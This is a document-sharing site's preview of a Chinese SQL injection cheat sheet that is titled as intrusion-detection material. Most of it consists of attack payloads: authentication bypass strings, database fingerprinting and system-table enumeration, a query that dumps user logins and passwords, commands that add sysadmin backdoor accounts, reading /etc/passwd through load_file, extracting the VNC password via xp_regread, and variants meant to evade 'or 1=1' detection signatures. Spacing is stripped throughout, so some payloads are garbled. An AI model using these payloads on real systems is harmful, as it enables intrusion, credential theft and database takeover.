欢迎来到天天文库
浏览记录
ID:6678969
大小:29.50 KB
页数:8页
时间:2018-01-22
《sql注射资料入侵检测》由会员上传分享,免费在线阅读,更多相关内容在行业资料-天天文库。
1、SQL注射资料入侵检测SQL注射资料入侵检测1.SQL注射是一种通过网页输入一个查询命令或者一条指令进行欺骗的方法,很多站点都是从用户的用户名,密码甚至email获取用户的参数。他们都使用SQL查询命令。2.首先你用简单的进行尝试。-Login:'or1=1---Pass:'or1=1---http://website/index.asp?id='or1=1--这些是简单的方法,其他如下:-'having1=1---'groupbyuseridhaving1=1---'SelectnameFROMsyscolum
2、nsWhereid=(SelectidFROMsysobjectsWherename='tablename')---'unionselectsum(columnname)fromtablename--3.收集信息-'or1in(select@@version)---'unionallselect@@version--/*这个优秀这些能找到计算机,操作系统,补丁的真实版本。4.数据类型oracle扩展-->SYS.USER_OBJECTS(USEROBJECTS)-->SYS.USER_VIEWS-->SYS.US
3、ER_TABLES-->SYS.USER_VIEWS-->SYS.USER_TAB_COLUMNS-->SYS.USER_CATALOG-->SYS.USER_TRIGGERS-->SYS.ALL_TABLES-->SYS.TABMySQL数据库,C:WINDOWS>typemy.ini得到root密码-->mysql.user-->mysql.host-->mysql.dbMSaccess-->MsysACEs-->MsysObjects-->MsysQueries-->MsysRelationshipsMS
4、SQLServer-->sysobjects-->syscolumns-->systypes-->sysdatabases5.获取密码';begindeclare@varvarchar(8000)set@var=':'select@var=@var+'+login+'/'+password+''fromuserswherelogin>@varselect@varasvarintotempend--'and1in(selectvarfromtemp)--';droptabletemp--6.创建数据库帐号10.MS
5、SQLexecsp_addlogin'name','password'execsp_addsrvrolemember'name','sysadmin'加为数据库管理员MySQLInsertINTOmysql.user(user,host,password)VALUES('name','localhost',PASSWORD('pass123'))AccessCRATEUSERnameIDENTIFIEDBY'pass123'Postgres(requiresUnixaccount)CRATEUSERnameWIT
6、HPASSWORD'pass123'oracleCRATEUSERnameIDENTIFIEDBYpass123TEMPORARYTABLESPACEtempDEFAULTTABLESPACEusers;GRANTCONNECTTOname;GRANTRESOURCETOname;7.MYSQL操作系统交互作用-'unionselect1,load_file('/etc/passwd'),1,1,1;这里用到load_file()函数8.服务器名字与配置-'and1in(select@@servername)--
7、-'and1in(selectservernamefrommaster.sysservers)--9.从注册表中获取VNC密码-';declare@outbinary(8)-execmaster..xp_regread-@rootkey='HKEY_LOCAL_MACHINE',-@key='SOFTWAREORLWinVNC3Default',/*VNC4路径略有不同-@value_name='password',-@value=@outoutput-selectcast(@outasbigint)asx
8、intoTEMP---'and1in(selectcast(xasvarchar)fromtemp)--10.逃避标识部分信号Evading'or1=1Signature-'or'unusual'='unusual'-'or'something'='some'+'thing'-'or'text'=N'text'-'or'something'like'some%'-'or2
此文档下载收益归作者所有